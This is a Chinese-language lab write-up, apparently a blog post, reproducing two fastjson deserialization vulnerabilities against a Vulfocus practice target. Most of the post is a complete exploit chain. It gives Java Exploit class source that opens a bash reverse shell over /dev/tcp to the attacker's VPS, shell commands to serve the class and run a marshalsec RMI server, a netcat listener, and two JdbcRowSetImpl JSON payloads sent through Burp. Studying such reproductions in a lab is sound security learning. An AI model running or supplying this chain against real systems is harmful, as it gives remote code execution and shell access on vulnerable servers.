【Vulfocus漏洞复现】fastjson-cnvd_2017_02833、fastjson-cnvd_2019_22238
vps:centos8腾讯云本地:windows11靶场环境:http://123.58.236.76:24477/访问靶场环境:http://123.58.236.76:24477/burp进行抓包,将请求方式改为POST,能够请求json数据,可能存在fastjson漏洞准备两个东西:Exploit.class、marshalsec-0.0.3-SNAPSHOT-all.jar(准备过程不详述
·
vps:centos8 腾讯云
本地:windows11
靶场环境:http://123.58.236.76:24477/
访问靶场环境:http://123.58.236.76:24477/
burp进行抓包,将请求方式改为POST,能够请求json数据,可能存在fastjson漏洞
准备两个东西:Exploit.class、marshalsec-0.0.3-SNAPSHOT-all.jar(准备过程不详述,网上都有)
在本地创建Exploit.java,内容如下
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"}); #xxxxxxxx为vps的ip地址
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
在Exploit.java同目录下打开cmd,输入
javac Exploit.java
会生成Exploit.class,将Exploit.class、marshalsec-0.0.3-SNAPSHOT-all.jar上传到vps上
如上图开三个窗口
窗口1输入(注意一定要在Exploit.class的目录下)
python3 -m http.server --bind 0.0.0.0 1234
窗口2输入(xxxxx为vps的ip地址)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxx:1234/#Exploit" 9999
窗口3输入
nc -lvvp 1122
在burp中输入payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxxxxx:9999/Exploit", #xxxxxxx为vps的ip地址
"autoCommit":true
}
}
反弹shell
注:记得vps要把对应端口开放,否则无法反弹
fastjson-cnvd_2019_22238复现方法一模一样,只有burp请求的数据不一样
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxxx:9999/Exploit", #xxxxx为vps的ip地址
"autoCommit":true
}
}
更多推荐
已为社区贡献5条内容
所有评论(0)